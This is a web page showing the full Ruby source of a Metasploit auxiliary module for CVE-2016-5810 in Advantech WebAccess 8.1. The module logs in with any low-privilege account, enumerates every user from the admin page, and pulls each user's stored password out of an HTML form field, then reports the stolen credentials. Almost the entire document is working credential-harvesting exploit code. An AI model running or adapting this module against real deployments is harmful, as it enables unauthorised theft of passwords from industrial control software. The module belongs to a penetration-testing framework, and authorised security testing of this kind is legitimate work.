Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/advantech_webaccess_creds.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info={})9super(update_info(info,10'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector",11'Description' => %q{12This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.13Although authentication is required, any level of user permission can exploit this vulnerability.1415Note that 8.2 is not suitable for this.16},17'License' => MSF_LICENSE,18'Author' =>19[20'h00die', # Pointed out the obvious during a PR review for CVE-2017-515421'sinn3r', # Metasploit module22],23'References' =>24[25['CVE', '2016-5810'],26['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']27],28'DisclosureDate' => '2017-01-21'29))3031register_options(32[33OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),34OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']),35OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),36])37end3839def do_login40vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")4142uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')4344res = send_request_cgi({45'method' => 'POST',46'uri' => uri,47'vars_post' => {48'page' => '/',49'pos' => '',50'username' => datastore['WEBACCESSUSER'],51'password' => datastore['WEBACCESSPASS'],52'remMe' => '',53'submit1' => 'Login'54}55})5657unless res58fail_with(Failure::Unknown, 'Connection timed out while trying to login')59end6061if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp'62print_good("Logged in as #{datastore['WEBACCESSUSER']}")63report_cred(64user: datastore['WEBACCESSUSER'],65password: datastore['WEBACCESSPASS'],66status: Metasploit::Model::Login::Status::SUCCESSFUL67)68return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || ''69end7071print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")7273nil74end7576def get_user_cred_detail(sid, user)77vprint_status("Gathering password for user: #{user}")7879uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')8081res = send_request_cgi({82'method' => 'GET',83'uri' => uri,84'cookie' => sid,85'vars_get' => {86'uname' => user87}88})8990unless res91print_error("Unable to gather password for user #{user} due to a connection timeout")92return nil93end9495html = res.get_html_document96pass_field = html.at('input[@name="Password"]')9798pass_field ? pass_field.attributes['value'].text : nil99end100101def get_users_page(sid)102vprint_status("Checking user page...")103104uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp')105106res = send_request_cgi({107'method' => 'GET',108'uri' => uri,109'cookie' => sid110})111112unless res113fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp')114end115116html = res.get_html_document117118users = html.search('a').map { |a|119Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '')120}.delete_if { |user| user.blank? }121122users123end124125def report_cred(opts)126service_data = {127address: rhost,128port: rport,129service_name: 'webaccess',130protocol: 'tcp',131workspace_id: myworkspace_id132}133134credential_data = {135origin_type: :service,136module_fullname: fullname,137username: opts[:user],138private_data: opts[:password],139private_type: :password140}.merge(service_data)141142login_data = {143last_attempted_at: DateTime.now,144core: create_credential(credential_data),145status: opts[:status],146proof: opts[:proof]147}.merge(service_data)148149create_credential_login(login_data)150end151152def run153cookie = do_login154users = get_users_page(cookie)155156users.each do |user|157pass = get_user_cred_detail(cookie, user)158159if pass160report_cred(161user: user,162password: pass,163status: Metasploit::Model::Login::Status::SUCCESSFUL,164proof: 'AdminPg.asp'165)166167print_good("Found password: #{user}:#{pass}")168end169end170end171end172173174